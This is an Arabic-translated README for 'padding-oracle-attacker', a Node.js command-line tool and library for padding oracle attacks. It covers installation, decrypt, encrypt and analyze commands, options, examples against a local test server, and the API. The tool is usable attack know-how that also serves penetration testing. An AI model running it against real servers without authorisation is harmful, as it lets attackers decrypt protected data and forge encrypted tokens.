
🔓 أداة سطر أوامر ومكتبة لتنفيذ هجمات وسادة الأوراكل بسهولة، مع دعم الطلبات الشبكية المتزامنة وواجهة مستخدم أنيقة.
أداة سطر أوامر ومكتبة لتنفيذ هجمات حشو الوسادة بسهولة، مع دعم الطلبات الشبكية المتزامنة وواجهة مستخدم أنيقة.
تأكد من تثبيت Node.js، ثم قم بتشغيل
$ npm install --global padding-oracle-attacker
أو
$ yarn global add padding-oracle-attacker
Usage
$ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
$ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options]
$ padding-oracle-attacker analyze <url> [<block_size>] [options]
الأوامر
decrypt يعثر على النص العادي (foobar) للنص المشفر المعطى (hex:0123abcd)
encrypt يعثر على النص المشفر (hex:abcd1234) للنص العادي المعطى (foo=bar)
analyze يساعد في معرفة ما إذا كان الرابط (URL) معرضًا للخطر أم لا، وكيف
يختلف الرد عند حدوث خطأ في فك التشفير
(لوسيطة <error>)
الوسائط
<url> الرابط المراد مهاجمته. سيتم إدراج الحمولة في النهاية افتراضيًا. لتحديد
نقطة إدخال مخصصة، قم بتضمين {POPAYLOAD} في ترويسة (-H)
أو نص الطلب (-d) أو الرابط
<block_size> حجم الكتلة المستخدمة بواسطة خوارزمية التشفير على الخادم
<error> السلسلة النصية الموجودة في الرد عند فشل فك التشفير على الخادم.
حدد سلسلة نصية موجودة في نص الرد HTTP (مثل PaddingException)
أو رمز الحالة لرد HTTP (مثل 400)
الخيارات
-c, --concurrency الطلبات المرسلة بشكل متزامن [الافتراضي: 128]
--disable-cache تعطيل ذاكرة التخزين المؤقت للشبكة. يتم حفظها في [الافتراضي: false]
poattack-cache.json.gz.txt افتراضيًا
-X, --method طريقة HTTP المستخدمة أثناء الطلب [الافتراضي: GET]
-H, --header التروسيسات المرسلة مع الطلب.
-H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
-d, --data نص الطلب
سلسلة JSON: {"id": 101, "foo": "bar"}
مشفر بعنوان URL: id=101&foo=bar
تأكد من تحديد ترويسة Content-Type.
-e, --payload-encoding تشفير حمولة النص المشفر لـ {POPAYLOAD} [الافتراضي: hex]
base64 FooBar+/=
base64-urlsafe FooBar-_
hex deadbeef
hex-uppercase DEADBEEF
base64(xyz) Base64 مخصص ('xyz' تمثل الأحرف '+/=')
--dont-urlencode-payload لا تقم بتشفير {POPAYLOAD} بعنوان URL [الافتراضي: false]
--start-from-1st-block ابدأ المعالجة من الكتلة الأولى بدلاً من [الافتراضي: false]
الأخيرة (يعمل فقط مع وضع فك التشفير)
أمثلة
$ poattack decrypt http://localhost:2020/decrypt?ciphertext=
hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
$ poattack analyze http://localhost:2020/decrypt?ciphertext=
الأسماء المستعارة
poattack
padding-oracle-attack
const { decrypt, encrypt } = require('padding-oracle-attacker')
// or
import { decrypt, encrypt } from 'padding-oracle-attacker'
const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)
const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promiseencrypt(options: Object): Promiseurl: stringالرابط المراد مهاجمته. سيتم إلحاق الحمولة بنهاية الرابط افتراضيًا. لتحديد نقطة إدخال مخصصة، قم بتضمين {POPAYLOAD} في الرابط، أو ترويسة (requestOptions.headers) أو نص الطلب (requestOptions.data)
blockSize: numberحجم الكتلة المستخدمة بواسطة خوارزمية التشفير على الخادم.
isDecryptionSuccess: ({ statusCode, headers, body }) => booleanدالة تُرجع true إذا كان رد الخادم يشير إلى نجاح فك التشفير.
ciphertext: Buffer (لـ decrypt فقط)النص المشير المراد فك تشفيره.
plaintext: Buffer (لـ encrypt فقط)النص العادي المراد تشفيره. سيتم إضافة الحشو تلقائيًا. مثال: Buffer.from('foo bar', 'utf8')
concurrency: number = 128الطلبات الشبكية المرسلة بشكل متزامن.
isCacheEnabled: boolean = trueيتم تخزين الردود مؤقتًا افتراضيًا وحفظها في poattack-cache.json.gz.txt. اضبط على false لتعطيل التخزين المؤقت.
requestOptions: { method, headers, data }requestOptions.method: stringطريقة HTTP المستخدمة أثناء الطلب. GET افتراضيًا. POST، PUT، DELETE هي بعض الخيارات الصالحة.
requestOptions.headers: { string: string }الترويسات المرسلة مع الطلب. مثال: { 'Content-Type': 'application/x-www-form-urlencoded' }
requestOptions.body: stringنص الطلب. يمكن أن يكون سلسلة JSON، أو معاملات مشفرة بعنوان URL، إلخ. يجب تعيين ترويسة Content-Type يدويًا.
logMode: 'full'|'minimal'|'none' = 'full'full: تسجيل كل شيء في وحدة التحكم (الافتراضي)
minimal: تسجيل فقط بعد البداية والانتهاء في وحدة التحكم
none: عدم تسجيل أي شيء في وحدة التحكم
transformPayload: (ciphertext: Buffer) => stringدالة لتحويل ciphertext إلى سلسلة عند إجراء طلب. افتراضيًا، يتم تشفير ciphertext بصيغة سداسية عشرية وإدراجها في نقطة الإدخال (نهاية الرابط ما لم يكن {POPAYLOAD} موجودًا).
decrypt فقط)alreadyFound: Bufferبايتات النص العادي المعروفة بالفعل والتي يمكن تخطيها (من النهاية). إذا قدمت Buffer من عشرة بايتات، فسيتم تخطي العشرة بايتات الأخيرة.
initFirstPayloadBlockWithOrigBytes: boolean = falseتهيئة أول كتلة حمولة ببايتات ciphertext الأصلية بدلاً من الأصفار.
مثال: abcdef12345678ff 1111111111111111 بدلاً من 00000000000000ff 1111111111111111
startFromFirstBlock: boolean = falseبدء المعالجة من الكتلة الأولى بدلاً من الأخيرة.
makeInitialRequest: boolean = trueإجراء طلب أولي باستخدام ciphertext الأصلي المقدم وتسجيل رد الخادم في وحدة التحكم للسماح للمستخدم بالتأكد من إرسال الطلبات الشبكية بشكل صحيح.
encrypt فقط)makeFinalRequest: boolean = trueبعد العثور على بايتات ciphertext للنص العادي الجديد، إجراء طلب نهائي بالبايتات التي تم العثور عليها وتسجيل رد الخادم في وحدة التحكم.
lastCiphertextBlock: Bufferنص مشفر مخصص للكتلة الأخيرة. الكتلة الأخيرة تكون أصفارًا افتراضيًا (000000000000000).
padding-oracle-attacker مكتوب بلغة TypeScript. إذا كنت ترغب في تعديل ملفات المصدر وتشغيلها، يمكنك إما تجميع الملفات إلى JS أولاً وتشغيلها باستخدام node، أو استخدام ts-node.
مثال: yarn build ثم node dist/cli ... أو ببساطة ts-node src/cli ...
yarn build أو npm run buildيقوم ببناء ملفات TypeScript داخل الدليل src إلى ملفات JS ويخرجها إلى الدليل dist.
yarn clean أو npm run cleanيحذف الدليل dist.
yarn lint أو npm run lintيفحص الملفات باستخدام eslint.
yarn test أو npm run testيفحص ويشغل الاختبارات باستخدام ava.
node test/helpers/vulnerable-server.jsيشغل خادم الاختبار المعرض لهجمات حشو الوسادة على الرابط http://localhost:2020
MIT © Kishan Bagaria